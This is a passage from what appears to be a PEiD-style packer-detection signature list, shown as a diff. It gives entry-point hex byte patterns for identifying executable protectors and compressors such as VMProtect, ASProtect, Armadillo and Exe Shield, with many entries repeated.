00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 A7 72 45 00 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 9C 52 56 53 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 21 71 45 00 C3 +ep_only = true + +[ACProtect 1.09g -> Risco software Inc.] +signature = 60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00 +ep_only = true + +[ACProtect 1.09g -> Risco software Inc.] +signature = 60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00 +ep_only = true + +[Alloy 4.x -> PGWare LLC] +signature = 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 +ep_only = true + +[Alloy 4.x -> PGWare LLC] +signature = 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 +ep_only = true + +[Apex_c beta -> 500mhz] +signature = 68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[Apex_c beta -> 500mhz] +signature = 68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[Armadillo v3.01, v3.05] +signature = 60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F +ep_only = true + +[Armadillo v3.01, v3.05] +signature = 60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F +ep_only = true + +[Armadillo v3.10] +signature = 55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 +ep_only = true + +[Armadillo v3.10] +signature = 55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 +ep_only = true + +[ASProtect SKE 2.1x (dll) -> Alexey Solodovnikov (h)] +signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[ASProtect SKE 2.1x (dll) -> Alexey Solodovnikov (h)] +signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)] +signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)] +signature = 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[beria v0.07 public WIP --> symbiont] +signature = 83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 +ep_only = true + +[beria v0.07 public WIP --> symbiont (h)] +signature = 83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 +ep_only = true + +[BeRo Tiny Pascal -> BeRo] +signature = E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20 +ep_only = true + +[BeRo Tiny Pascal -> BeRo] +signature = E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20 +ep_only = true + +[BeRo Tiny Pascal -> BeRo / Farbrausch] +signature = E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20 +ep_only = true + +[BobPack v1.00 --> BoB / BobSoft] +signature = 60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01 +ep_only = true + +[CICompress v1.0] +signature = 6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 +ep_only = true + +[CICompress v1.0] +signature = 6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 +ep_only = true + +[CipherWall Self-Extrator/Decryptor (Console) v1.5] +signature = 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 +ep_only = true + +[CipherWall Self-Extrator/Decryptor (Console) v1.5] +signature = 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 +ep_only = true + +[CipherWall Self-Extrator/Decryptor (GUI) v1.5] +signature = 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 +ep_only = true + +[CipherWall Self-Extrator/Decryptor (GUI) v1.5] +signature = 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 +ep_only = true + +[CreateInstall Stub vx.x] +signature = 55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 +ep_only = true + +[CreateInstall Stub vx.x] +signature = 55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 +ep_only = true + +[Crunch v4.0] +signature = EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 +ep_only = true + +[Crunch v4.0] +signature = EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 +ep_only = true + +[Crunch v5 -> Bit-Arts] +signature = EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 +ep_only = true + +[Crunch v5 -> Bit-Arts] +signature = EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00 +ep_only = true + +[Crypto-Lock v2.02 (Eng) -> Ryan Thian] +signature = 60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 +ep_only = true + +[Crypto-Lock v2.02 (Eng) -> Ryan Thian] +signature = 60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 +ep_only = true + +[Crypto-Lock v2.02 (Eng) -> Ryan Thian] +signature = 60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 +ep_only = true + +[Crypto-Lock v2.02 (Eng) -> Ryan Thian] +signature = 60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 +ep_only = true + +[DBPE v2.10] +signature = 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE +ep_only = true + +[DBPE v2.10] +signature = 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE +ep_only = true + +[DEF 1.0 -> bart/xt] +signature = BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[DEF 1.0 -> bart/xt] +signature = BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[DEF v1.00 (Eng) -> bart/xt] +signature = BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[DEF v1.00 (Eng) -> bart/xt] +signature = BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[diPacker V1.X -> diProtector Software] +signature = 0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5 +ep_only = true + +[diProtector V1.X -> diProtector Software] +signature = 01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5 +ep_only = true + +[DotFix NiceProtect vna] +signature = 60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29 +ep_only = true + +[Dual's eXe 1.0] +signature = 55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 +ep_only = true + +[Dual's eXe 1.0] +signature = 55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 +ep_only = true + +[EmbedPE 1.13 -> cyclotron] +signature = 83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 +ep_only = true + +[EmbedPE 1.13 -> cyclotron] +signature = 83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 +ep_only = true + +[EP v1.0] +signature = 50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 +ep_only = true + +[EP v1.0] +signature = 50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 +ep_only = true + +[Exe Guarder v1.8 -> Exeicon.com (h)] +signature = 55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 +ep_only = true + +[Exe Guarder v1.8 -> Exeicon.com (h)] +signature = 55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 +ep_only = true + +[Exe Locker v1.0 --> IonIce] +signature = E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00 +ep_only = true + +[Exe Locker v1.0 --> IonIce] +signature = E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00 +ep_only = true + +[EXE Shield V0.5 -> Smoke] +signature = E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 +ep_only = true + +[EXE Shield V0.6 -> SMoKE] +signature = E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED D4 1A 40 00 EB 01 00 8D B5 5E 1B 40 00 BA A1 0B 00 00 EB 01 00 8D 8D FF 26 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 +ep_only = true + +[Exe Shield v2.7b] +signature = EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 +ep_only = true + +[Exe Shield v2.7b] +signature = EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 +ep_only = true + +[Exe Stealth 2.75a -> WebtoolMaster] +signature = EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 +ep_only = true + +[ExeBundle v3.0 (small loader)] +signature = 00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 +ep_only = true + +[ExeBundle v3.0 (small loader)] +signature = 00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 +ep_only = true + +[ExeBundle v3.0 (standard loader)] +signature = 00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB +ep_only = true + +[ExeBundle v3.0 (standard loader)] +signature = 00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB +ep_only = true + +[ExeJoiner 1.0 -> Yoda f2f] +signature = 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 +ep_only = true + +[ExeJoiner 1.0 -> Yoda f2f] +signature = 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 +ep_only = true + +[ExeShield 3.6 